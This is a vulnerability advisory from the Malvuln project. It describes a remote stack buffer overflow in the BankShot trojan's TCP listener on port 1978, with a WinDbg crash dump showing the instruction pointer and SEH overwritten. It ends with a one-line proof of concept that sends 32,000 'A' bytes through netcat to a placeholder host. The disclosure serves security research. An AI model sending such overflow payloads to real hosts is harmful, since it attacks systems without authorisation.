Trojan.Win32 BankShot MVID-2024-0669 Buffer Overflow

`Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024  
Original source: https://malvuln.com/advisory/f2fd6a7b400782bb43499e722fb62cf4.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Trojan.Win32 BankShot  
Vulnerability: Remote Stack Buffer Overflow (SEH)  
Description: The malware listens on TCP port 1978 and creates a local Windows service running with SYSTEM integrity. Third-party adversaries who can reach the server can send a specially crafted payload triggering a stack buffer overflow overwriting ECX, EIP registers and Structured Exception Handler (SEH)  
Family: BankShot  
Type: PE32  
MD5: f2fd6a7b400782bb43499e722fb62cf4  
Vuln ID: MVID-2024-0669  
ASLR: Not Enabled  
DEP: Enabled  
SEH: Not Enabled  
CFG: Not Enabled  
Disclosure: 01/30/2024  
  
Memory Dump:  
(16bc.cf8): Access violation - code c0000005 (first/second chance not available)  
eax=00000000 ebx=00000000 ecx=41414141 edx=77309d70 esi=00000000 edi=00000000  
eip=41414141 esp=061511f0 ebp=06151210 iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246  
41414141 ?? ???  
0:005> .ecxr  
eax=00000000 ebx=00000000 ecx=41414141 edx=77309d70 esi=00000000 edi=00000000  
eip=41414141 esp=061511f0 ebp=06151210 iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246  
41414141 ?? ???  
0:005> !analyze -v  
*******************************************************************************  
* *  
* Exception Analysis *  
* *  
*******************************************************************************  
  
*** WARNING: Unable to verify checksum for MouseServer.exe  
*** ERROR: Module load completed but symbols could not be loaded for MouseServer.exe  
Failed calling InternetOpenUrl, GLE=12029  
  
FAULTING_IP:   
MouseServer+2a95e  
0042a95e f3a4 rep movs byte ptr es:[edi],byte ptr [esi]  
  
EXCEPTION_RECORD: 0624dec4 -- (.exr 0x624dec4)  
ExceptionAddress: 0042a95e (MouseServer+0x0002a95e)  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 00000001  
Parameter[1]: 06250000  
Attempt to write to address 06250000  
  
PROCESS_NAME: MouseServer.exe  
  
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_PARAMETER1: 00000008  
  
EXCEPTION_PARAMETER2: 41414141  
  
WRITE_ADDRESS: 41414141   
  
FOLLOWUP_IP:   
MouseServer+2a95e  
0042a95e f3a4 rep movs byte ptr es:[edi],byte ptr [esi]  
  
FAILED_INSTRUCTION_ADDRESS:   
+2a95e  
41414141 ?? ???  
  
MOD_LIST: <ANALYSIS/>  
  
NTGLOBALFLAG: 0  
  
APPLICATION_VERIFIER_FLAGS: 0  
  
IP_ON_HEAP: 41414141  
  
IP_IN_FREE_BLOCK: 41414141  
  
CONTEXT: 0624df14 -- (.cxr 0x624df14)  
eax=027fce88 ebx=0624fbfc ecx=000008d8 edx=00001d00 esi=027fc5b0 edi=06250000  
eip=0042a95e esp=0624e374 ebp=0624fbf0 iopl=0 nv up ei pl nz na po cy  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010203  
MouseServer+0x2a95e:  
0042a95e f3a4 rep movs byte ptr es:[edi],byte ptr [esi]  
Resetting default scope  
  
FAULTING_THREAD: ffffffff  
  
BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141  
  
PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141  
  
DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141  
  
LAST_CONTROL_TRANSFER: from 41414141 to 0042a95e  
  
FRAME_ONE_INVALID: 1  
  
STACK_TEXT:   
0624e374 0042a95e mouseserver+0x2a95e  
0624fbf8 41414141 unknown!printable+0x0  
  
  
STACK_COMMAND: .cxr 000000000624DF14 ; kb ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds 624e374 ; kb  
  
SYMBOL_STACK_INDEX: 0  
  
SYMBOL_NAME: mouseserver+2a95e  
  
FOLLOWUP_NAME: MachineOwner  
  
MODULE_NAME: MouseServer  
  
IMAGE_NAME: MouseServer.exe  
  
DEBUG_FLR_IMAGE_TIMESTAMP: 58eb1b3a  
  
FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_MouseServer.exe!Unknown  
  
BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_mouseserver+2a95e  
  
0:005> !exchain  
0624ddd4: ntdll!ExecuteHandler2+44 (77309d70)  
0624fbe4: 41414141  
Invalid exception stack at 41414141  
  
  
Exploit/PoC:  
C:\Users\gg\Desktop>python -c "print('A'*32000)" | nc64.exe x.x.x.x 1978  
system windows 6.2  
version 1.7.4.0  
serverid 7E8539FB-5E68-464F-AE62-129E95A7DFB8  
  
  
  
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